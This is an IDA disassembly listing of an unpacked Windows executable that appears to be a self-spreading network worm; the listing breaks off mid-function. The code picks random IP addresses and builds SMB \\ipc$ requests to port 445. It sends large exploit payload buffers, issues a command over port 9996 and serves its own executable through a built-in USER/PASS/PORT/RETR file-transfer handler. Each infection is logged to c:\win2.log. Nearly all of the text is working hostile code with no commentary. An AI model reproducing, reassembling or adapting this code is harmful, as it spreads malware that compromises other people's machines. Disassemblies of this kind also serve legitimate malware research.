; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : DADD9C1B0316C73228122EC9CA0DC6BE ; File Name : u:\work\dadd9c1b0316c73228122ec9ca0dc6be_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40127D+7Cp ; sub_401EF0:loc_401F35p ... mov eax, dword_406F30 imul eax, 343FDh add eax, 279EC3h mov dword_406F30, eax shr eax, 10h and eax, 7FFFh retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40101E proc near ; CODE XREF: sub_402029+1Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_406F30, eax retn sub_40101E endp ; =============== S U B R O U T I N E ======================================= sub_401028 proc near ; CODE XREF: sub_402029+24p var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call dword_405114 add esp, 190h retn sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call dword_40510C movsx ecx, al mov [ebp+arg_0], eax movsx edx, byte ptr [ebp+arg_0+2] movsx esi, byte ptr [ebp+arg_0+3] movsx edi, ah test ecx, ecx mov eax, 100h jge short loc_40106F add ecx, eax loc_40106F: ; CODE XREF: sub_401045+26j test edi, edi jge short loc_401075 add edi, eax loc_401075: ; CODE XREF: sub_401045+2Cj test edx, edx jge short loc_40107B add edx, eax loc_40107B: ; CODE XREF: sub_401045+32j test esi, esi jge short loc_401081 add esi, eax loc_401081: ; CODE XREF: sub_401045+38j push 1 cmp ecx, 7Fh pop eax jnz short loc_401095 test edi, edi jnz short loc_4010CE test edx, edx jnz short loc_4010CE cmp esi, eax jz short loc_4010CC loc_401095: ; CODE XREF: sub_401045+42j cmp ecx, 0Ah jz short loc_4010CC cmp ecx, 0ACh jnz short loc_4010AC cmp edi, 0Fh jle short loc_4010CE cmp edi, 20h jl short loc_4010CC loc_4010AC: ; CODE XREF: sub_401045+5Bj cmp ecx, 0C0h jnz short loc_4010BC cmp edi, 0A8h jz short loc_4010CC loc_4010BC: ; CODE XREF: sub_401045+6Dj cmp ecx, 0A9h jnz short loc_4010CE cmp edi, 0FEh jnz short loc_4010CE loc_4010CC: ; CODE XREF: sub_401045+4Ej ; sub_401045+53j ... xor al, al loc_4010CE: ; CODE XREF: sub_401045+46j ; sub_401045+4Aj ... pop edi pop esi pop ebp retn sub_401045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010D2 proc near ; CODE XREF: sub_40127D+9Cp ; sub_401EF0+1Ap var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi lea eax, [ebp+var_100] push 0FFh push eax call dword_405104 test eax, eax jnz short loc_401136 lea eax, [ebp+var_100] push eax call dword_405110 mov edi, eax xor esi, esi cmp edi, esi jz short loc_401136 mov eax, [edi+0Ch] cmp [eax], esi jz short loc_401136 loc_401110: ; CODE XREF: sub_4010D2+60j mov eax, [esi+eax] push dword ptr [eax] call dword_405108 mov ebx, eax push ebx call sub_401045 test al, al pop ecx jnz short loc_40113D mov eax, [edi+0Ch] add esi, 4 cmp dword ptr [esi+eax], 0 jnz short loc_401110 jmp short loc_401139 ; --------------------------------------------------------------------------- loc_401136: ; CODE XREF: sub_4010D2+20j ; sub_4010D2+35j ... mov ebx, [ebp+arg_0] loc_401139: ; CODE XREF: sub_4010D2+62j test ebx, ebx jz short loc_401140 loc_40113D: ; CODE XREF: sub_4010D2+54j push ebx jmp short loc_401145 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: sub_4010D2+69j push offset a127_0_0_1 ; "127.0.0.1" loc_401145: ; CODE XREF: sub_4010D2+6Cj push [ebp+arg_0] call dword_405018 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401153 proc near ; CODE XREF: sub_401EF0+E2p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4021B0 add esp, 0Ch mov [ebp+var_10], 2 push 1BDh call dword_4050F4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push 0 push eax call sub_4021B0 add esp, 10h push 6 push 1 pop ebx push ebx push 2 call dword_4050F8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4011B4 xor al, al jmp short loc_4011D1 ; --------------------------------------------------------------------------- loc_4011B4: ; CODE XREF: sub_401153+5Bj lea eax, [ebp+var_10] push 10h push eax push esi call dword_4050FC cmp eax, 0FFFFFFFFh jnz short loc_4011C8 xor bl, bl loc_4011C8: ; CODE XREF: sub_401153+71j push esi call dword_40511C mov al, bl loc_4011D1: ; CODE XREF: sub_401153+5Fj pop esi pop ebx leave retn sub_401153 endp ; =============== S U B R O U T I N E ======================================= sub_4011D5 proc near ; CODE XREF: sub_401153+30p ; sub_40127D+34p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_40510C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4011F2 test esi, esi jnz short loc_401204 cmp byte ptr [edi], 30h jz short loc_40120B loc_4011F2: ; CODE XREF: sub_4011D5+12j push edi call dword_405110 test eax, eax jz short loc_401204 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_401204: ; CODE XREF: sub_4011D5+16j ; sub_4011D5+26j cmp esi, 0FFFFFFFFh jnz short loc_40120B xor esi, esi loc_40120B: ; CODE XREF: sub_4011D5+1Bj ; sub_4011D5+32j mov eax, esi pop edi pop esi retn sub_4011D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401210 proc near ; CODE XREF: sub_40127D+F9p var_14 = byte ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h inc dword_406F34 push edi push dword_406F34 lea eax, [ebp+var_14] push offset aI ; "%i" push eax call dword_4050E0 ; wsprintfA add esp, 0Ch push 0 push offset aCWin2_log ; "c:\\win2.log" call dword_405024 ; _lcreat mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40127A lea eax, [ebp+var_14] push esi push eax call sub_402210 mov esi, dword_405020 pop ecx push eax lea eax, [ebp+var_14] push eax push edi call esi ; _lwrite push [ebp+arg_0] call sub_402210 pop ecx push eax push [ebp+arg_0] push edi call esi ; _lwrite push edi call dword_40501C ; _lclose pop esi loc_40127A: ; CODE XREF: sub_401210+37j pop edi leave retn sub_401210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40127D proc near ; CODE XREF: sub_401A84+7Bp var_348 = dword ptr -348h var_33C = byte ptr -33Ch var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 33Ch push ebx push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4021B0 add esp, 0Ch mov [ebp+var_10], 2 push 270Ch call dword_4050F4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push ebx push eax call sub_4021B0 add esp, 10h push 6 push 1 push 2 call dword_4050F8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4012E2 xor al, al jmp loc_401394 ; --------------------------------------------------------------------------- loc_4012E2: ; CODE XREF: sub_40127D+5Cj lea eax, [ebp+var_10] push 10h push eax push edi call dword_4050FC cmp eax, 0FFFFFFFFh jz loc_40138B push esi call sub_401000 mov esi, eax lea eax, [ebp+var_110] push offset dword_406F38 push eax call dword_405018 ; lstrcpyA lea eax, [ebp+var_110] push eax call sub_4010D2 push esi lea eax, [ebp+var_110] push esi push eax push off_406030 lea eax, [ebp+var_33C] push eax call dword_4050E0 ; wsprintfA lea eax, [ebp+var_33C] xor esi, esi push eax call sub_402210 add esp, 1Ch test eax, eax jbe short loc_401373 loc_40134F: ; CODE XREF: sub_40127D+F4j push ebx lea eax, [ebp+esi+var_33C] push 1 push eax push edi call dword_4050F0 lea eax, [ebp+var_33C] inc esi push eax call sub_402210 cmp esi, eax pop ecx jb short loc_40134F loc_401373: ; CODE XREF: sub_40127D+D0j push [ebp+arg_0] call sub_401210 mov [esp+348h+var_348], 3E8h call dword_405028 ; Sleep mov bl, 1 pop esi loc_40138B: ; CODE XREF: sub_40127D+75j push edi call dword_40511C mov al, bl loc_401394: ; CODE XREF: sub_40127D+60j pop edi pop ebx leave retn sub_40127D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401398 proc near ; CODE XREF: sub_401A84+15p var_744 = byte ptr -744h var_714 = byte ptr -714h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 744h push ebx push esi push edi push offset dword_406F38 push [ebp+arg_4] call dword_405018 ; lstrcpyA push [ebp+arg_0] lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050E0 ; wsprintfA add esp, 0Ch xor edi, edi xor ecx, ecx lea eax, [ebp+var_103] loc_4013D1: ; CODE XREF: sub_401398+49j mov dl, [ebp+ecx+var_3C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4013D1 push 60h lea eax, [ebp+var_B4] push offset dword_4063E4 push eax call sub_402290 lea eax, [ebp+var_3C] push eax call sub_402210 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_402290 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_402210 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_402290 lea eax, [ebp+var_3C] push eax call sub_402210 add al, 1Ah push 1 shl al, 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_B1] push eax call sub_402290 lea eax, [ebp+var_3C] push eax call sub_402210 shl al, 1 add al, 9 push 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_87] push eax call sub_402290 add esp, 2Ch push [ebp+arg_0] call dword_405110 mov ebx, eax cmp ebx, edi jz loc_401554 push edi push 1 push 2 loc_401495: ; DATA XREF: .text:off_4065D8o call dword_4050F8 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_401554 push 1BDh mov [ebp+var_14], 2 call dword_4050F4 mov [ebp+var_12], ax mov eax, [ebx+0Ch] push 8 push edi mov eax, [eax] mov eax, [eax] mov [ebp+var_10], eax lea eax, [ebp+var_C] push eax call sub_4021B0 add esp, 0Ch lea eax, [ebp+var_14] push 10h push eax push esi call dword_4050FC cmp eax, 0FFFFFFFFh jz short loc_401554 mov ebx, dword_4050F0 push edi push 89h push offset dword_4061CC push esi call ebx cmp eax, 0FFFFFFFFh jz short loc_401554 push edi mov edi, 640h lea eax, [ebp+var_744] push edi push eax push esi mov esi, dword_4050EC call esi push 0 push 0A8h push offset dword_406258 push [ebp+arg_0] call ebx cmp eax, 0FFFFFFFFh jz short loc_401554 push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi push 0 push 0DEh push offset dword_406304 push [ebp+arg_0] call ebx cmp eax, 0FFFFFFFFh jnz short loc_401558 loc_401554: ; CODE XREF: sub_401398+F2j ; sub_401398+10Bj ... xor eax, eax jmp short loc_401599 ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_401398+1BAj push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi push 46h lea esi, [ebp+var_714] pop edi loc_401570: ; CODE XREF: sub_401398+1F3j movsx eax, byte ptr [esi] push eax push [ebp+arg_4] push offset aSC ; "%s%c" push [ebp+arg_4] call dword_4050E0 ; wsprintfA add esp, 10h inc esi inc esi dec edi jnz short loc_401570 push [ebp+arg_0] call dword_40511C push 1 pop eax loc_401599: ; CODE XREF: sub_401398+1BEj pop edi pop esi pop ebx leave retn sub_401398 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40159E proc near ; CODE XREF: sub_401A84+3Bp ; sub_401A84+5Ep ... var_89C4 = byte ptr -89C4h var_895C = byte ptr -895Ch var_68EC = byte ptr -68ECh var_687C = byte ptr -687Ch var_5DB8 = byte ptr -5DB8h var_4814 = byte ptr -4814h var_4813 = byte ptr -4813h var_3780 = byte ptr -3780h var_2CBC = byte ptr -2CBCh var_2CBB = byte ptr -2CBBh var_2CB8 = byte ptr -2CB8h var_24D4 = byte ptr -24D4h var_24C4 = byte ptr -24C4h var_21A0 = byte ptr -21A0h var_219C = byte ptr -219Ch var_2190 = byte ptr -2190h var_1F08 = byte ptr -1F08h var_1E8C = byte ptr -1E8Ch var_16BC = byte ptr -16BCh var_1211 = byte ptr -1211h var_F24 = byte ptr -0F24h var_E84 = byte ptr -0E84h var_778 = dword ptr -778h var_768 = byte ptr -768h var_754 = byte ptr -754h var_114 = byte ptr -114h var_113 = byte ptr -113h var_C4 = byte ptr -0C4h var_C1 = byte ptr -0C1h var_97 = byte ptr -97h var_95 = byte ptr -95h var_94 = byte ptr -94h var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 89C4h call sub_4025D0 mov eax, dword_406A34 push [ebp+arg_0] mov [ebp+var_14], eax mov eax, dword_406A38 mov [ebp+var_10], eax lea eax, [ebp+var_4C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050E0 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_113] loc_4015D8: ; CODE XREF: sub_40159E+4Aj mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4015D8 push ebx push esi push edi push 60h lea eax, [ebp+var_C4] push offset dword_4063E4 push eax call sub_402290 lea eax, [ebp+var_4C] push eax call sub_402210 shl eax, 1 push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_94] push eax call sub_402290 add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_402210 pop ecx lea eax, [ebp+eax*2+var_95] push eax call sub_402290 lea eax, [ebp+var_4C] push eax call sub_402210 add al, 1Ah push 1 shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_C1] push eax call sub_402290 lea eax, [ebp+var_4C] push eax call sub_402210 shl al, 1 add al, 9 push 1 mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_97] push eax call sub_402290 add esp, 2Ch push 270Ch call dword_4050F4 xor eax, 9999h push 2 mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push offset dword_4060E4 call sub_402290 mov ebx, [ebp+arg_4] add esp, 0Ch cmp ebx, 1 jz short loc_40171A cmp ebx, 2 jz short loc_40171A push 7D0h lea eax, [ebp+var_F24] push 90h push eax call sub_4021B0 mov esi, offset loc_406034 push esi call sub_402210 push eax lea eax, [ebp+var_E84] push esi push eax call sub_402290 lea eax, [ebp+var_14] push eax call sub_402210 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_768] push eax call sub_402290 add esp, 2Ch imul ebx, 3Ch mov eax, dword_406810[ebx] mov [ebp+var_778], eax jmp loc_4017EE ; --------------------------------------------------------------------------- loc_40171A: ; CODE XREF: sub_40159E+115j ; sub_40159E+11Aj mov edi, 0DACh lea eax, [ebp+var_2CB8] push edi push 90h push eax call sub_4021B0 imul ebx, 3Ch push 4 lea eax, [ebp+var_24D4] lea ebx, dword_406810[ebx] push ebx push eax call sub_402290 mov esi, offset loc_406034 push esi call sub_402210 push eax lea eax, [ebp+var_24C4] push esi push eax call sub_402290 push 4 lea eax, [ebp+var_21A0] push offset dword_406A2C push eax call sub_402290 push 4 lea eax, [ebp+var_219C] push ebx push eax call sub_402290 add esp, 40h push esi call sub_402210 push eax lea eax, [ebp+var_2190] push esi push eax call sub_402290 add esp, 10h xor ecx, ecx lea eax, [ebp+var_4813] loc_4017A6: ; CODE XREF: sub_40159E+21Aj mov dl, [ebp+ecx+var_2CB8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_4017A6 and [ebp+var_2CBC], 0 and [ebp+var_2CBB], 0 mov esi, 1C52h lea eax, [ebp+var_89C4] push esi push 31h push eax call sub_4021B0 push esi lea eax, [ebp+var_68EC] push 31h push eax call sub_4021B0 add esp, 18h loc_4017EE: ; CODE XREF: sub_40159E+177j push 0 push 1 push 2 call dword_4050F8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_401A7D push 1BDh mov [ebp+var_24], 2 call dword_4050F4 push [ebp+arg_0] mov [ebp+var_22], ax call sub_4011D5 mov [ebp+var_20], eax xor ebx, ebx push 8 lea eax, [ebp+var_1C] push ebx push eax call sub_4021B0 add esp, 10h lea eax, [ebp+var_24] push 10h push eax push edi call dword_4050FC cmp eax, 0FFFFFFFFh jz loc_401A7D mov esi, dword_4050F0 push ebx push 89h push offset dword_4061CC push edi call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push ebx mov ebx, 640h lea eax, [ebp+var_754] push ebx push eax push edi mov edi, dword_4050EC call edi push 0 push 0A8h push offset dword_406258 push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi push 0 push 0DEh push offset dword_406304 push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_C4] push eax push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi push 0 push 68h push offset dword_406448 push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi push 0 push 0A0h push offset dword_4064B4 push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi cmp [ebp+arg_4], 1 jz short loc_4019BB cmp [ebp+arg_4], 2 jz short loc_4019BB push 7Ch lea eax, [ebp+var_1F08] push offset dword_406558 push eax call sub_402290 lea eax, [ebp+var_F24] push 7D0h push eax lea eax, [ebp+var_1E8C] push eax call sub_402290 push 90h lea eax, [ebp+var_16BC] push offset off_4065D8 push eax call sub_402290 add esp, 24h and [ebp+var_1211], 0 lea eax, [ebp+var_1F08] push 0 push 0CF8h jmp loc_401A5E ; --------------------------------------------------------------------------- loc_4019BB: ; CODE XREF: sub_40159E+3B8j ; sub_40159E+3BEj push 68h lea eax, [ebp+var_89C4] push offset dword_40666C push eax call sub_402290 lea eax, [ebp+var_4814] push 1B5Ah push eax lea eax, [ebp+var_895C] push eax call sub_402290 push 70h lea eax, [ebp+var_68EC] push offset dword_4066D8 push eax call sub_402290 lea eax, [ebp+var_3780] push 0A5Eh push eax lea eax, [ebp+var_687C] push eax call sub_402290 push 84h lea eax, [ebp+var_5DB8] push offset dword_40674C push eax call sub_402290 add esp, 3Ch lea eax, [ebp+var_89C4] push 0 push 10FCh push eax push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz short loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi push 0 push 0FDCh lea eax, [ebp+var_68EC] loc_401A5E: ; CODE XREF: sub_40159E+418j push eax push [ebp+var_4] call esi cmp eax, 0FFFFFFFFh jz short loc_401A7D push 3E8h call dword_405028 ; Sleep push [ebp+var_4] call dword_40511C loc_401A7D: ; CODE XREF: sub_40159E+264j ; sub_40159E+2ABj ... pop edi pop esi xor eax, eax pop ebx leave retn sub_40159E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A84 proc near ; CODE XREF: sub_402029+3Ap var_84 = byte ptr -84h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_84] push eax push esi call sub_401398 pop ecx cmp eax, 1 pop ecx jnz short loc_401B05 lea eax, [ebp+var_84] push offset dword_406A40 push eax call sub_402600 pop ecx test eax, eax pop ecx jz short loc_401AC8 push 0 push esi call sub_40159E push 0 jmp short loc_401AF5 ; --------------------------------------------------------------------------- loc_401AC8: ; CODE XREF: sub_401A84+36j lea eax, [ebp+var_84] push offset dword_406A3C push eax call sub_402600 pop ecx test eax, eax pop ecx jz short loc_401AEB push 1 push esi call sub_40159E push 1 jmp short loc_401AF5 ; --------------------------------------------------------------------------- loc_401AEB: ; CODE XREF: sub_401A84+59j push 2 push esi call sub_40159E push 2 loc_401AF5: ; CODE XREF: sub_401A84+42j ; sub_401A84+65j push esi call sub_40159E add esp, 10h push esi call sub_40127D pop ecx loc_401B05: ; CODE XREF: sub_401A84+1Fj pop esi leave retn sub_401A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B08 proc near ; DATA XREF: sub_401E65+74o var_8E4 = byte ptr -8E4h var_4E4 = byte ptr -4E4h var_4E0 = byte ptr -4E0h var_E4 = byte ptr -0E4h var_60 = byte ptr -60h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8E4h push ebx mov ebx, [ebp+arg_0] cmp ebx, 0FFFFFFFFh jz loc_401E29 push esi push edi push 0 push off_4068D0 call sub_402210 mov esi, dword_4050F0 pop ecx push eax push off_4068D0 push ebx call esi mov edi, [ebp+arg_0] jmp short loc_401B46 ; --------------------------------------------------------------------------- loc_401B43: ; CODE XREF: sub_401B08+310j mov ebx, [ebp+arg_0] loc_401B46: ; CODE XREF: sub_401B08+39j push 0 lea eax, [ebp+var_4E4] push 400h push eax push ebx call dword_4050EC and [ebp+eax+var_4E4], 0 mov [ebp+var_10], eax lea eax, [ebp+var_4E4] push offset aUser ; "USER" push eax call sub_402600 pop ecx test eax, eax pop ecx jz short loc_401B97 push 0 push off_4068D4 call sub_402210 pop ecx push eax push off_4068D4 jmp loc_401E11 ; --------------------------------------------------------------------------- loc_401B97: ; CODE XREF: sub_401B08+73j lea eax, [ebp+var_4E4] push offset aPass ; "PASS" push eax call sub_402600 pop ecx test eax, eax pop ecx jz short loc_401BC8 push 0 push off_4068D8 call sub_402210 pop ecx push eax push off_4068D8 jmp loc_401E11 ; --------------------------------------------------------------------------- loc_401BC8: ; CODE XREF: sub_401B08+A4j lea eax, [ebp+var_4E4] push offset aPort ; "PORT" push eax call sub_402600 pop ecx test eax, eax pop ecx jz loc_401CA4 lea eax, [ebp+var_4E0] push eax lea eax, [ebp+var_E4] push eax call sub_402720 mov ax, word_406A60 mov [ebp+var_4], ax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_E4] push eax call sub_402680 add esp, 10h mov ebx, eax xor edi, edi loc_401C17: ; CODE XREF: sub_401B08+159j test ebx, ebx jz short loc_401C4B cmp edi, 4 jge short loc_401C2E push ebx call sub_401E30 pop ecx mov [ebp+edi*4+var_38], eax cmp edi, 4 loc_401C2E: ; CODE XREF: sub_401B08+116j jnz short loc_401C3A push ebx call sub_401E30 pop ecx mov [ebp+var_18], eax loc_401C3A: ; CODE XREF: sub_401B08:loc_401C2Ej cmp edi, 5 jnz short loc_401C4E push ebx call sub_401E30 pop ecx mov [ebp+var_14], eax jmp short loc_401C4E ; --------------------------------------------------------------------------- loc_401C4B: ; CODE XREF: sub_401B08+111j push 6 pop edi loc_401C4E: ; CODE XREF: sub_401B08+135j ; sub_401B08+141j lea eax, [ebp+var_4] push eax push 0 call sub_402680 inc edi pop ecx cmp edi, 6 pop ecx mov ebx, eax jl short loc_401C17 push [ebp+var_2C] mov edi, [ebp+var_18] lea eax, [ebp+var_60] push [ebp+var_30] shl edi, 8 push [ebp+var_34] add edi, [ebp+var_14] push [ebp+var_38] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call dword_4050E0 ; wsprintfA add esp, 18h push 0 push off_4068E0 call sub_402210 pop ecx push eax push off_4068E0 jmp loc_401DD7 ; --------------------------------------------------------------------------- loc_401CA4: ; CODE XREF: sub_401B08+D5j lea eax, [ebp+var_4E4] push offset aRetr ; "RETR" push eax call sub_402600 pop ecx test eax, eax pop ecx jz loc_401DDC push 0 push off_4068E4 call sub_402210 pop ecx push eax push off_4068E4 push ebx call esi lea eax, [ebp+var_60] push eax call sub_4011D5 mov ebx, eax pop ecx test ebx, ebx jz loc_401DB9 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_4021B0 add esp, 0Ch mov [ebp+var_28], 2 push edi call dword_4050F4 push 0 push 1 push 2 mov [ebp+var_26], ax mov [ebp+var_24], ebx call dword_4050F8 mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp+var_C], ebx jz loc_401DB9 lea eax, [ebp+var_28] push 10h push eax push ebx call dword_4050FC cmp eax, 0FFFFFFFFh jnz short loc_401D44 push ebx call dword_40511C jmp short loc_401DB9 ; --------------------------------------------------------------------------- loc_401D44: ; CODE XREF: sub_401B08+231j lea eax, [ebp+var_8E4] push 400h push eax push 0 call dword_405034 ; GetModuleFileNameA lea eax, [ebp+var_8E4] push 0 push eax call dword_405030 ; _lopen cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz short loc_401DB9 lea eax, [ebp+var_2] push offset dword_406F38 push eax call sub_402720 mov ebx, dword_40502C pop ecx pop ecx lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] loc_401D8E: ; CODE XREF: sub_401B08+2A6j call ebx ; _lread cmp eax, 1 jnz short loc_401DB0 and [ebp+var_1], 0 push 0 push eax lea eax, [ebp+var_2] push eax push [ebp+var_C] call esi lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] jmp short loc_401D8E ; --------------------------------------------------------------------------- loc_401DB0: ; CODE XREF: sub_401B08+28Bj push [ebp+var_8] call dword_40501C ; _lclose loc_401DB9: ; CODE XREF: sub_401B08+1DDj ; sub_401B08+21Bj ... push [ebp+var_C] call dword_40511C push 0 push off_4068DC call sub_402210 pop ecx push eax push off_4068DC loc_401DD7: ; CODE XREF: sub_401B08+197j push [ebp+arg_0] jmp short loc_401E12 ; --------------------------------------------------------------------------- loc_401DDC: ; CODE XREF: sub_401B08+1B1j lea eax, [ebp+var_4E4] push offset aQuit ; "QUIT" push eax call sub_402600 pop ecx test eax, eax pop ecx jz short loc_401DFC push ebx call dword_40511C jmp short loc_401E14 ; --------------------------------------------------------------------------- loc_401DFC: ; CODE XREF: sub_401B08+2E9j push 0 push off_4068DC call sub_402210 pop ecx push eax push off_4068DC loc_401E11: ; CODE XREF: sub_401B08+8Aj ; sub_401B08+BBj push ebx loc_401E12: ; CODE XREF: sub_401B08+2D2j call esi loc_401E14: ; CODE XREF: sub_401B08+2F2j cmp [ebp+var_10], 0 jg loc_401B43 push [ebp+arg_0] call dword_40511C pop edi pop esi loc_401E29: ; CODE XREF: sub_401B08+10j xor eax, eax pop ebx leave retn 4 sub_401B08 endp ; =============== S U B R O U T I N E ======================================= sub_401E30 proc near ; CODE XREF: sub_401B08+119p ; sub_401B08+129p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi 